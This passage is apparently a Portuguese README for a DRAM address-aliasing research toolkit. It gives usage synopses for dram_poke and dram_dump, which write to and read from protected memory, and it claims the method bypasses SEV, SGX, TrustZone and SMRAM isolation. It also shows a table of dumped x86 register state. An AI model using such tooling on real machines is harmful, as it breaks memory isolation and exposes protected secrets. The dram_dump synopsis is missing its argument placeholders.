Cada `--map` é uma espaguetificação resolvida a partir de `unspaghettify.py --save-map`,
alimentada por pares de aliases coletados por `gather_aliases.py`; o alias de cada
dword no intervalo protegido é recuperado do mapa por meio de uma pseudo-inversa GF(2)
calculada uma vez na inicialização. Passe vários mapas — um por
`(at_swizzle, at_bankswap)` coletado no mesmo hardware — para ampliar a cobertura,
já que cada espaguetificação deixa um conjunto diferente de buracos com posto deficiente e
o primeiro mapa que alcança uma determinada dword vence.```
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dumpLê de uma faixa de memória protegida.
Mesmo mecanismo de --map que o dram_poke: cada mapa é uma "spaghettification" resolvida
a partir de unspaghettify.py --save-map, o alias para cada dword é recuperado via
uma pseudo-inversa GF(2) de disparo único, e múltiplos mapas coletados em diferentes
(at_swizzle, at_bankswap) ampliam a cobertura onde os buracos de posto deficiente
de um mapa são preenchidos pelos de outro.```
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa ]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range ,]
[--allow-fenced-alias]
-s, --protected-pa
-l, --length
--map [--map ]...
A toolchain completa — `dram_state`, `dram_carveouts` e `dram_alias`; o
pipeline de análise `gather_aliases.py` / `unspaghettify.py`; exemplos práticos
de ponta a ponta; e os detalhes internos — está documentada em **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/HEAD/USAGE.md)**.
---
## O pipeline compartilhado
`skitter-creek-bath-salts` explora como os estágios finais das transformações MCT/DCT
podem derrubar a segurança de tudo o que foi construído acima dele. O exploit
demonstrado aqui é um registrador de configuração na AMD Family 16h, escolhido
porque as folhas de dados forneciam o suficiente para começar. O *pipeline* que ele
quebrou está em toda parte.
Interleave de canal, interleave de rank, interleave de banco, swizzle, chip-select
normalize — todo controlador de memória moderno implementa alguma versão de tudo isso.
AMD. Intel. ARM. RISC-V. Móvel. Servidor. Embarcado. A mesma forma arquitetural
está subjacente a tudo isso.
*Acima* de tudo isso estão SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP,
o PSP, ME, T-SEG, SMRAM, o stash C6. Tudo o que está na DRAM — até mesmo as coisas
isoladas e invisíveis para o ring-0 ou para a própria CPU — repousa nas camadas finais
de um pipeline `*p` que acabamos de começar a explorar.
---
## Referências
* Black Hat 2026 — Spaghettifying DRAM (Em breve)
---
## Autor
`skitter-creek-bath-salts` é um esforço de pesquisa de Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))
---

---
| offset | estado x86 | valor do core-0 |
|---|
+0x8b0 | GS / base per-cpu | 0xffff9be4e3600000 |
+0x9a0 | CR3 (raiz da tabela de páginas) | 0x0fd46000 |
+0x9b8 | IA32_APIC_BASE | 0xfee00900 |
+0xa38 | MTRR variável (base/máscara) | 0x6f000000 / …0800 |
+0xb10 | RIP salvo | 0xffffffff8f3a0029 |